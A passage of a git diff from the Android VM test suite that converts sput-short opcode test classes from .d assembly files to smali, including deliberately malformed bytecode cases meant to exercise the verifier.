+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_17.d
deleted file mode 100644
index 3aba6fb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_17.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_short_17.java
-.class public dot.junit.opcodes.sput_short.d.T_sput_short_17
-.super java/lang/Object
-
-.field public static st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       sput-short v1, dot.junit.opcodes.sput_short.d.T_sput_short_17.st_i1 S
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_17.smali
new file mode 100644
index 0000000..a55e43d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_17.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_17.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_17;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-short v1, Ldot/junit/opcodes/sput_short/d/T_sput_short_17;->st_i1:S
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_18.d
deleted file mode 100644
index e1ef12c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_18.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_short_18.java
-.class public dot.junit.opcodes.sput_short.d.T_sput_short_18
-.super java/lang/Object
-
-.field public static st_i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       sput-short v1, dot.junit.opcodes.sput_short.d.T_sput_short_18.st_i1 D
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_18.smali
new file mode 100644
index 0000000..05eca57
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_18.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_18.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_18;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-short v1, Ldot/junit/opcodes/sput_short/d/T_sput_short_18;->st_i1:D
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_2.d
deleted file mode 100644
index f6c1a55..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_2.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_short_2.java
-.class public dot.junit.opcodes.sput_short.d.T_sput_short_2
-.super java/lang/Object
-
-.field public static st_i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v0, 1
-       sput-short v0, dot.junit.opcodes.sput_short.d.T_sput_short_4.st_i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_2.smali
new file mode 100644
index 0000000..23dc085
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_2.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_2.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_2;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 1
+       sput-short v0, Ldot/junit/opcodes/sput_short/d/T_sput_short_4;->st_i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_20.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_20.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_20.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_20.smali
new file mode 100644
index 0000000..67d3be5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_20.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_short/d/T_sput_short_20;
+.super Ljava/lang/Object;
+.source "T_sput_short_20.java"
+
+
+# static fields
+.field public static st_o:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 4
+
+    sput-short p0, Ldot/junit/opcodes/sput_short/d/T_sput_short_20;->st_o:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_21.d
deleted file mode 100644
index a55af0d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_21.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_short_21.java
-.class public dot.junit.opcodes.sput_short.d.T_sput_short_21
-.super java/lang/Object
-
-.field public static st_c C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 12    
-       sput-short v0, dot.junit.opcodes.sput_short.d.T_sput_short_21.st_c C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_21.smali
new file mode 100644
index 0000000..f05917a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_21.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_21.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_21;
+.super  Ljava/lang/Object;
+
+.field public static st_c:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 12    
+       sput-short v0, Ldot/junit/opcodes/sput_short/d/T_sput_short_21;->st_c:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_22.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_22.d
deleted file mode 100644
index 25375e2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_22.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_short_22.java
-.class public dot.junit.opcodes.sput_short.d.T_sput_short_22
-.super java/lang/Object
-
-.field public static st_i I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       sput-short v0, dot.junit.opcodes.sput_short.d.T_sput_short_22.st_i I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_22.smali
new file mode 100644
index 0000000..f0bcdea
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_22.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_22.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_22;
+.super  Ljava/lang/Object;
+
+.field public static st_i:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput-short v0, Ldot/junit/opcodes/sput_short/d/T_sput_short_22;->st_i:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_23.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_23.d
deleted file mode 100644
index fc437cc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_23.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_short_23.java
-.class public dot.junit.opcodes.sput_short.d.T_sput_short_23
-.super java/lang/Object
-
-.field public static st_b B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       sput-short v0, dot.junit.opcodes.sput_short.d.T_sput_short_23.st_b B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_23.smali
new file mode 100644
index 0000000..0d87bb2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_23.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_23.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_23;
+.super  Ljava/lang/Object;
+
+.field public static st_b:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput-short v0, Ldot/junit/opcodes/sput_short/d/T_sput_short_23;->st_b:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_24.d
deleted file mode 100644
index 16b16f1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_24.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_short_24.java
-.class public dot.junit.opcodes.sput_short.d.T_sput_short_24
-.super java/lang/Object
-
-.field public static st_z Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       sput-short v0, dot.junit.opcodes.sput_short.d.T_sput_short_24.st_z Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_24.smali
new file mode 100644
index 0000000..919fe9a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_24.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_24.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_24;
+.super  Ljava/lang/Object;
+
+.field public static st_z:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput-short v0, Ldot/junit/opcodes/sput_short/d/T_sput_short_24;->st_z:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_3.d
deleted file mode 100644
index 1246f9a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_3.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_short_3.java
-.class public dot.junit.opcodes.sput_short.d.T_sput_short_3
-.super java/lang/Object
-
-.field public static st_i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 1
-       sput-short v0, dot.junit.opcodes.sput_short.d.T_sput_short_3.st_i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_3.smali
new file mode 100644
index 0000000..9012fbb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_3.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_3.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_3;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 1
+       sput-short v0, Ldot/junit/opcodes/sput_short/d/T_sput_short_3;->st_i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_4.d
deleted file mode 100644
index df600da..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_short_4.java
-.class public dot.junit.opcodes.sput_short.d.T_sput_short_4
-.super java/lang/Object
-
-.field public static st_i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sput-short v3, dot.junit.opcodes.sput_short.d.T_sput_short_4.st_i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_4.smali
new file mode 100644
index 0000000..017654e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_4.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_4;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sput-short v3, Ldot/junit/opcodes/sput_short/d/T_sput_short_4;->st_i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_7.d
deleted file mode 100644
index 99d2bc6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_7.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_short_7.java
-.class public dot.junit.opcodes.sput_short.d.T_sput_short_7
-.super java/lang/Object
-
-.field public st_i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       sput-short v1, dot.junit.opcodes.sput_short.d.T_sput_short_7.st_i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_7.smali
new file mode 100644
index 0000000..da7a23d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_7.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_7.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_7;
+.super  Ljava/lang/Object;
+
+.field public st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       sput-short v1, Ldot/junit/opcodes/sput_short/d/T_sput_short_7;->st_i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_8.d
deleted file mode 100644
index ce24cf8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_8.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_short_8.java
-.class public dot.junit.opcodes.sput_short.d.T_sput_short_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       sput-short v1, dot.junit.opcodes.sput_short.TestStubs.TestStubField S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_8.smali
new file mode 100644
index 0000000..045a2d0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_8.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_8.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
